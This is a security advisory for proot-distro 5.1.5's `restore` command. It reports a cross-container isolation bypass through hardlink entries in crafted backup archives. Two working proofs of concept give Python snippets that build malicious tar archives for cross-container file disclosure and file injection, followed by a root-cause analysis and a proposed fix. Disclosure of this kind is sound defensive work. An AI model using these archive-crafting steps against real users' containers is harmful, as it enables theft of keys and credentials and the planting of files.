GHSA-7h3g-4w2f-fj2f

## Affected Component - **Package:** proot-distro - **Affected command:** `restore` - **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive - **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write --- ## Affected Versions | Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 | --- ## Summary When restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container. The restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry. Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container. As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection. --- ## Proof of Concept #1 — Cross-Container File Disclosure All testing was performed using self-owned containers and harmless marker data only. ### Step 1 — Create a victim container and marker file ```bash proot-distro install alpine --name victim proot-distro login victim -- sh -lc ' mkdir -p /root printf "PROOF-12345\n" > /root/proof.txt ' ``` Verification: ``` proot-distro login victim -- cat /root/proof.txt PROOF-12345 ``` --- ### Step 2 — Create an attacker container ```bash proot-distro install alpine --name attacker ``` --- ### Step 3 — Build a crafted archive ```python python3 -c ' import tarfile tf = tarfile.open("malicious.tar", "w") d = tarfile.TarInfo("attacker/rootfs/exfil") d.type = tarfile.DIRTYPE d.mode = 0o755 tf.addfile(d) h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key") h.type = tarfile.LNKTYPE h.linkname = "victim/rootfs/root/proof.txt" h.mode = 0o600 tf.addfile(h) tf.close() ' ``` --- ### Step 4 — Restore the crafted archive ```bash proot-distro restore ./malicious.tar ``` --- ### Step 5 — Read the copied file from the attacker container ```bash proot-distro run attacker -- cat /exfil/stolen_key ``` Observed output: ``` PROOF-12345 ``` This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive. --- ## Proof of Concept #2 — Cross-Container File Injection ### Step 1 — Create attacker-controlled source data ```bash proot-distro install alpine --name attacker proot-distro login attacker -- sh -lc ' mkdir -p /root printf "ATTACKER_DATA\n" > /root/source.txt ' ``` --- ### Step 2 — Create a victim container ```bash proot-distro install alpine --name victim ``` --- ### Step 3 — Build a crafted archive ```python python3 -c ' import tarfile tf = tarfile.open("write_test.tar", "w") h = tarfile.TarInfo( "victim/rootfs/root/copied_from_attacker.txt" ) h.type = tarfile.LNKTYPE h.linkname = "attacker/rootfs/root/source.txt" h.mode = 0o600 tf.addfile(h) tf.close() ' ``` --- ### Step 4 — Restore the crafted archive ```bash proot-distro restore ./write_test.tar ``` --- ### Step 5 — Verify file injection into the victim container ```bash cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt" ``` Observed output: ``` ATTACKER_DATA ``` This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive. --- ## Impact An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers. Observed impacts include: - Disclosure of files from other installed containers. - Injection of attacker-controlled files into other installed containers. - Exposure of SSH private keys. - Exposure of API credentials. - Exposure of configuration files containing secrets. - Exposure of application databases stored inside container rootfs directories. The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers. --- ## Root Cause During hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field. The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored. As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation. --- ## Proposed Fix ```python link_container, link_src = _dest_path(member.linkname) if link_src is None: continue if link_container != container_name: continue link_src = _safe_dest( link_container, link_src, follow_final=True ) ``` This preserves existing path traversal protections while restoring the expected isolation boundary between containers. --- ## Additional Notes - Issue reproduced on the official Termux package repository. - No root access was used. - No third-party data was accessed. - Testing used only self-owned containers and harmless marker data. - Cross-container disclosure reproduced using the marker value `PROOF-12345`. - Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.